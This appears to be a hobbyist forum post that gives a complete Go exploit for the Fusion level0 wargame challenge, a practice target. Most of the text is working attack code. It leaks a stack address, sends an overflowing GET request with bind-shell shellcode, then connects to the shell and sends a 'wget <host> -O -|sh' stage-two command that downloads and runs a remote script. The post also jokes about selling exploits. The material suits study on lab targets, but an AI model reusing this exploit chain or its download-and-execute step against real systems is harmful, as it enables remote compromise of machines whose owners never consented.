#Intro
Hello fellow nybbles Null Bytes and Nullers!
Today we are going to be discussing a fairly trivial exploit (FUSION level0) written in a language with very few pre-written hacking toolsets and libraries. We are a bit spoiled by pwntools and all of the SO questions on “how to implement a buffer overflow”.
I was also just looking for a challenge.
Don’t take this post seriously
#Why?
Writing Exploits in scripting languages (python, perl, ruby, sic) is so in chic right now, so why change?
Because retro is making a comeback baby, #MakeExploitsCompileAgain
Having a binary package to distribute means that we can sell our exploits!
Yeah, people can reverse engineer our product, but if we make sure to sell only sell to governments and law enforcement then we can even include a EULA!
-
C is a great compiled language but it is hard to write in.
For C: (effort) < (money made) = false -
Pony sounds fun, but it is still in heavy dev so that is out
For Pony: likelihood of hitting a undefined language “feature” > 1 -
Rust was another consideration but I arbitrarily decided against it
For Rust: Nah…
The Algorithm for this exploit is as folows
- make a tcp connection to port 20000 of the server
- Read the buffer address leak from the debugging feature
- send a malicious GET request with a URI that is longer than 128 bytes
- win
It is possible because of the information leak to create an extremely precise exploit.
Our payload is structured as follows
Payload = | “GET " | “JUNK” 139 bytes | address overwrite with leak + 158 | " HTTP/1.1” | 4-5 nops + shellcode |
The addition of 158 to the return address drops us in right after the HTTP/1.1 parameter so we don’t have to worry about prepending some jumping opcodes to our nop sled if we were to jump into URI portion of the payload.
Personally I had a lot of breakage attempting to use the short jump technique.
Without further ado - here it is:
package main
import (
"bufio"
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"strconv"
"strings"
"time"
)
func main() {
// some constants
shellcode := "\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
bufflen := 139
init_exploit()
// parse cmd line args
pvaddr := flag.String("vaddr", "", "victim IP in format <address:port>")
ps2host := flag.String("s2_addr", "", "http://address to get stage2 script from")
flag.Parse()
vaddr := *pvaddr
s2host := *ps2host
fmt.Println("*******************************")
fmt.Println("** FUSION00 EXPLOIT **")
fmt.Println("** - **")
fmt.Println("** BLUEPEGASUS **") //gotta have a cute name that means nothing
fmt.Println("*******************************")
// tries to catch some invalid input
if vaddr == "" {
log.Fatal("[-] invalid arg try -h")
}
// make connection
fmt.Printf("[!] connecting to remote host: %s\n", vaddr)
conn, err := net.Dial("tcp", vaddr)
if err != nil {
fmt.Println("[-] connection failed\t\t:(")
log.Fatal(err)
}
// defer is soooooo nice
defer conn.Close()
fmt.Println("[+] connected!")
// make reader for the network connection
read_from_con := bufio.NewReader(conn).Read
// get address leak from program
s_addr_leak := make([]byte, 256)
read_from_con(s_addr_leak)
ret := get_leaked_addr(s_addr_leak)
// generate payload
fmt.Println("[+] generating payload from leaked address")
overflow := strings.Repeat("\xCC", bufflen)
payload := []byte(fmt.Sprintf("%s%s", overflow, ret))
// send exploit
fmt.Println("[!] sending attack!!!")
write_req(payload, []byte(shellcode), conn)
if s2host != "" {
stage2(vaddr, s2host)
}
fmt.Println("\n[+] Have a nice day!")
return
}
func get_leaked_addr(s []byte) (ret string) {
str_s := string(s)
str_addr := strings.Split(str_s, " ")[4]
str_addr = str_addr[2:]
fmt.Printf("[+] got leaked address: %s\n", str_addr)
i64_addr, err := strconv.ParseUint(str_addr, 16, 32)
if err != nil {
fmt.Println("[-] failed to parse address")
log.Fatal(err)
}
i32_addr := uint32(i64_addr)
i32_addr += 158
b_ret := make([]byte, 4)
binary.LittleEndian.PutUint32(b_ret, i32_addr)
ret = string(b_ret)
return ret
}
func write_req(payload []byte, sc []byte, conn net.Conn) {
request := fmt.Sprintf("GET %s HTTP/1.1%s\r\n\r\n", payload, sc)
conn.Write([]byte(request))
}
func init_exploit() {
return
}
func stage2(vaddr string, s2host string) {
fmt.Println("[+] refactoring connection to connect bindshell")
fmt.Println("[!] waiting for a few moments for exploit to finish binding shell")
for i := 0; i < 10; i++ {
time.Sleep(100 * time.Millisecond)
fmt.Printf(".")
}
fmt.Printf("Done!\n")
host_ip := strings.Split(vaddr, ":")[0]
con_str := fmt.Sprintf("%s:1337", host_ip)
fmt.Printf("[+]\t%s->%s:1337\n", vaddr, host_ip)
conn, err := net.Dial("tcp", con_str)
if err != nil {
fmt.Println("[-] failed to connect to bind shell")
log.Fatal(err)
}
defer conn.Close()
fmt.Println("[+] connected to bindshell!")
fmt.Println("[!] generating script for stage2")
r_cmd := "\nwget " + s2host + " -O -|sh&\nexit\n"
fmt.Printf("[+] sending stage2 cmd: %s\n", r_cmd)
conn.Write([]byte(r_cmd))
fmt.Println("[+] wrote command to bindshell")
return
}